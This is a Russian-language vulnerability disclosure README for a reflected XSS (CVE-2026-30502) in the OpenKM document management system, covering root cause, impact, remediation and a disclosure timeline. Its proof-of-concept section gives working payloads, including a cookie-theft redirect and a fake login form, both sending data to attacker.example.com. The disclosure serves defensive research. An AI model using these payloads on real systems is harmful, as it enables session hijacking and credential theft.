
Документация и proof-of-concept для CVE-2026-30502, отражённая XSS-уязвимость в OpenKM v6.3.12. Включает технический анализ, первопричину, оценку воздействия и рекомендации по устранению для исследователей безопасности и пентестеров.
Обнаружено и сообщено Dharmendra Kumar — Исследователь безопасности
Кибербезопасность | Тестирование на проникновение | Исследование уязвимостей | Ответственное раскрытие
Этот репозиторий документирует ответственное раскрытие информации о CVE-2026-30502 — уязвимости Отражённая межсайтовая подмена сценариев (XSS), обнаруженной в OpenKM v6.3.12 — широко используемой системе управления документами с открытым исходным кодом, применяемой в корпоративной и государственной среде.
Уязвимость существует в параметре Content, который отражает вводимые пользователем данные обратно в браузер без надлежащей санитизации или кодирования вывода. Злоумышленник может создать вредоносную ссылку, содержащую встроенный JavaScript, и с помощью социальной инженерии заставить жертву перейти по ней, что приведёт к выполнению скрипта в сессии браузера жертвы.
⚠️ Серьёзность: Средняя–Высокая | Вектор атаки: Сеть | Требуемые привилегии: Нет | Взаимодействие с пользователем: Требуется
OpenKM — это бесплатная система управления документами с открытым исходным кодом (DMS), предоставляющая веб-интерфейс для управления, аудита и распространения бизнес-документов. Она используется предприятиями, государственными органами и образовательными учреждениями по всему миру.
v6.3.12Отражённая межсайтовая подмена сценариев (XSS) была обнаружена в OpenKM v6.3.12 через параметр Content. Приложение не проверяет и не кодирует вводимые пользователем данные перед их отражением в теле HTTP-ответа, что позволяет внедрить и выполнить произвольный JavaScript в браузере жертвы.
В отличие от хранимой XSS, полезная нагрузка отражённой XSS не сохраняется в базе данных — она переносится в сфабрикованной ссылке. Атака основана на том, что жертву обманом заставляют перейти по вредоносной ссылке (доставленной по электронной почте, через социальные сети или фишинговые кампании), после чего полезная нагрузка незаметно выполняется в её браузере в контексте сессии жертвы.
Злоумышленник создаёт вредоносную ссылку
│
▼
Жертва переходит по ссылке (фишинг / социальная инженерия)
│
▼
Браузер отправляет GET/POST-запрос с полезной нагрузкой в параметре `Content`
│
▼
OpenKM отражает несанитизированные входные данные непосредственно в HTML-ответ
│
▼
Браузер разбирает и выполняет внедрённый JavaScript
│
▼
Угон сессии / кража учётных данных / компрометация учётной записи
Уязвимость возникает из-за того, что приложение не применяет меры безопасности входных-выходных данных к параметру Content:
Ссылка, созданная пользователем ──► Параметр Content ──► [НЕТ ПРОВЕРКИ]
──► Отражено в HTML-ответе ──► [НЕТ КОДИРОВАНИЯ]
──► Браузер выполняет скрипт ──► Компрометация учётной записи
Успешная эксплуатация этой уязвимости может привести к:
⚠️ Отказ от ответственности: Следующая информация предоставляется строго в образовательных целях и для исследований безопасности в соответствии с принципами ответственного раскрытия. Не тестируйте и не используйте это против систем, которые вам не принадлежат или на которые у вас нет явного письменного разрешения.
// Основное доказательство выполнения
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Извлечение cookie сессии
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Фишинговая накладка для учётных данных
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
ContentContentНа протяжении всего процесса соблюдались полные принципы ответственного раскрытия, включая координацию с поставщиком и взаимодействие с программой CVE до любого публичного выпуска.
Исследователь безопасности | Тестировщик на проникновение | Охотник за багами | Участник программы CVE
Dharmendra Kumar — независимый исследователь кибербезопасности, специализирующийся на безопасности веб-приложений, тестировании на проникновение и ответственном раскрытии уязвимостей. Его исследования сосредоточены на выявлении и ответственном сообщении о реальных недостатках безопасности в широко используемом программном обеспечении, что способствует повышению безопасности приложений для пользователей по всему миру.
Области экспертизы:
Свяжитесь со мной:
Этот репозиторий предназначен исключительно для образовательных и информационных целей. Детали уязвимости и полезные нагрузки доказательства концепции публикуются в соответствии с принципами ответственного раскрытия. Автор не одобряет и не несёт ответственности за любое несанкционированное использование этой информации. Всегда получайте явное письменное разрешение перед проведением тестирования безопасности любой системы, которая вам не принадлежит.
Особая благодарность:
⭐ Если это исследование помогло вам, пожалуйста, поставьте звезду этому репозиторию.
Исследования безопасности, открыто опубликованные, чтобы сделать веб безопаснее для всех.
© 2026 Dharmendra Kumar — Все права защищены
| Поле | Детали |
|---|
| Идентификатор CVE | CVE-2026-30502 |
| Продукт | OpenKM |
| Затронутая версия | v6.3.12 |
| Класс уязвимости | Отражённая межсайтовая подмена сценариев (XSS) |
| Уязвимый параметр | Content |
| CWE | CWE-79: Некорректная нейтрализация входных данных во время генерации веб-страницы |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Серьёзность | Средняя–Высокая |
| Издатель | Программа MITRE CVE |
| Исследователь | Dharmendra Kumar |
| Тип раскрытия | Ответственное / Координированное |
| Слабость | Описание |
|---|
| ❌ Отсутствует проверка ввода | Параметр Content принимает необработанные символы HTML/JavaScript без ограничений или фильтрации |
| ❌ Отсутствует кодирование вывода | Отражённые значения записываются в HTML-ответ без кодирования HTML-сущностей |
| ❌ Отсутствует заголовок CSP | Не применяется политика безопасности содержимого для блокировки выполнения встроенных скриптов |
| ❌ Нет файлов cookie с флагом HTTPOnly | Токены сессии доступны через JavaScript, что позволяет напрямую украсть cookie |
| Риск | Описание |
|---|
| 🍪 Угон сессии | Кража активных токенов сессии через document.cookie для выдачи себя за жертву |
| 🔑 Сбор учётных данных | Внедрение поддельных наложений входа для захвата незашифрованных имён пользователей и паролей |
| 📤 Раскрытие информации | Извлечение конфиденциального содержимого документов, данных пользователей или внутренних конфигураций |
| 🎣 Фишинговые атаки | Предоставление убедительных поддельных страниц, размещённых в доверенном домене OpenKM |
| 👤 Захват учётной записи | Выполнение произвольных аутентифицированных действий от имени жертвы |
| ⚙️ Несанкционированные действия | Изменение, удаление или извлечение документов в СУД |
| 🖥️ Распространение вредоносного ПО | Перенаправление жертв на сайты, контролируемые злоумышленником, размещающие вредоносные загрузки |
| Рекомендация | Реализация |
|---|
| ✅ Проверка ввода | Отклонять или удалять специальные символы HTML (<, >, ", ', ;) из всех управляемых пользователем параметров |
| ✅ Кодирование вывода | Применять контекстно-зависимое HTML-кодирование с использованием библиотек, таких как OWASP Java Encoder, перед отображением отражённых данных |
| ✅ Политика безопасности содержимого | Внедрить строгий заголовок CSP: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ Файлы cookie с флагом HTTPOnly | Установить флаги HttpOnly и Secure на всех файлах cookie сессии для блокировки доступа через JavaScript |
| ✅ Библиотеки безопасности | Интегрировать OWASP AntiSamy или DOMPurify для надёжной санитизации |
| ✅ Обновление | Немедленно применить последний выпущенный поставщиком патч безопасности |
| Дата | Событие |
|---|
| 🔍 Обнаружение | Уязвимость выявлена во время оценки безопасности OpenKM v6.3.12 |
| 📧 Уведомление поставщика | Отчёт об ответственном раскрытии отправлен команде безопасности OpenKM |
| 🤝 Подтверждение поставщика | Команда OpenKM подтвердила получение отчёта об уязвимости |
| 📝 Назначение CVE | CVE-2026-30502 присвоен через программу MITRE CVE |
| 🌐 Публичное раскрытие | Координированное публичное раскрытие после периода устранения |